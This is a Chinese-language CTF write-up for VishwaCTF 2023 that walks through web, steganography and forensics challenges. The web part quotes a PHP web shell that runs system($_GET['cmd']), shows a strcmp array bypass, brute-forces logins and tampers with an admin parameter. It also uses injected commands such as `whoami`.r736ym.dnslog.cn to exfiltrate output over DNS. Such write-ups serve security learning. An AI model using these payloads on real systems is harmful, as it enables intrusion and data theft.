【VishwaCTF2023】wp

【VishwaCTF2023】wp

web

Payload

目录扫描,扫描到了robots.txt

image-20230404151550711

我们访问/robots.txt

<?php
    if(isset($_GET['cmd'])){
        system($_GET['cmd']);
    }
    else {
        if(isset($_GET['btn'])){
            echo "<b>System Details: </b>";
            system("uname -a"); 
        }
    }
?>

uname(英文全拼:unix name)命令用于显示操作系统信息,例如内核版本、主机名、处理器类型等。。

uname 可显示电脑以及操作系统的相关信息。-a表示所有

很明显,这是命令执行,我们直接传参即可:

image-20230404151920194

发现flag藏在环境变量中

Mascot

扫描一下目录,发现git泄露:

image-20230404152202468

但是我们使用GitHack下载不下来,但是里面有一个 FLAGGGGG.md

image-20230404152658487

下载得到flag

Eeezzy

I forgot my login details again!

view.php

<?php

    session_start();
    $_SESSION['status']=null;

    $flag="";
    try {
        if (isset($_GET['username']) && isset($_GET['password'])) {
            if (strcmp($_GET['username'], $flag)==0 && strcmp($_GET['password'], $flag)==0)
                $_SESSION['status']=$flag;
            else
                $_SESSION['status']="Invalid username or password";
        }
    } catch (Throwable $th) {
        $_SESSION['status']=$flag;
    }

?>

strcmp()函数可以使用数组绕过,

strcmp比较的是字符串类型,如果强行传入其他类型参数,会出错,出错后返回值0,正是利用这点进行绕过。

这里我们只能让password为数组:

image-20230404154539089

aLive

In my college level project I created this website that tells us if any domain/ip is active or not. But there is a catch.

image-20230404161910385

打开发现一个可以检测站点的输入框,检测只会提示是否active,并没有回显

看了wp,我知道了需要使用DNSlog平台,之前了解过,但是没有使用过DNSlog

什么是DNSlog?

在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起 DNS 请求,这个时候就可以通过这种方式把想获得的数据外带出来。

DNS 的全称是 Domain Name System(网络名称系统),它作为将域名和 IP 地址相互映射,使人更方便地访问互联网。当用户输入某一网址如 www.baidu.com,网络上的 DNS Server 会将该域名解析,并找到对应的真实 IP 如 127.0.0.1,使用户可以访问这台服务器上相应的服务。

了解到了什么是 DNS,那么什么又是 DNSlog 呢?

DNSlog 就是存储在 DNS Server 上的域名信息,它记录着用户对域名 www.baidu.com 等的访问信息,类似日志文件

我们使用DNSlog平台,生成一个DNS服务器:

image-20230404162337417

然后我们使用输入框输入该域名,记得加上三级域名:

123.r736ym.dnslog.cn
image-20230404162601657

成功外带,回显数据。

测试了一下,发现是RCE,于是我们如下构造:

`whoami`.r736ym.dnslog.cn

成功命令执行,说明是root用户

image-20230404162819440
`sort f*`.r736ym.dnslog.cn
image-20230404162930890

获得flag

spooky

I forgot my login credentials again!!

一个登录界面,sql注入无果,使用dirsearch扫描:

image-20230404184137206

访问/sitemap.xml

image-20230404184245867

发现存放用户名和密码的文件,我们使用bp爆破一下:

image-20230404184326412

注意攻击模式要选择这种(能够计算笛卡尔积)保证所有情况

image-20230404184414191

使用账号密码登录

image-20230404184600637

提示权限为user,可能需要改为admin

image-20230404184640710

加上 &admin=true

Steganography

Can you see me?

A magician made the seven wonders disappear. But people claim they can still feel their presence in the air.

将图片使用foremost分离,得到一个压缩包,里面有一个wav文件,我们使用Audacity打开:

image-20230404180624552

选择频谱图,得到flag

Guatemala

使用010打开文件,发现是GIF图片

image-20230404181143781

发现一串base64编码:

image-20230404181545407

或者使用exiftool

image-20230404181922920

解码得到flag:

image-20230404181643275
I LOVE YOU

There is an audio file given below… It is not so difficult but you will find it’s sound very deep

根据提示,我们使用 DeepSound 去分离隐写在wav中的文件:

image-20230404193252238

得到welcome.exe,看图标,很想使用python打包的exe文件,

我们使用工具pyinstxtractor进行反汇编:

image-20230404193422962

然后使用pyc反编译网站进行反编译,得到flag

image-20230404193515571

Forensics

The Sender Conundrum

Marcus Got a Mysterious mail promising a flag if he could crack the password to the file.

打开电子邮件,叫我们猜一个人名

Hello Marcus Cooper,
You are one step behind from finding your flag. 
Here is a Riddle: 
I am a noun and not a verb or an adverb.
I am given to you at birth and never taken away,
You keep me until you die, come what may.
What am I?

我们使用字典进行爆破,但是都没有,最后使用了kali自带的词典:rockyou.txt,爆到了

image-20230404215130384

解压得flag

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值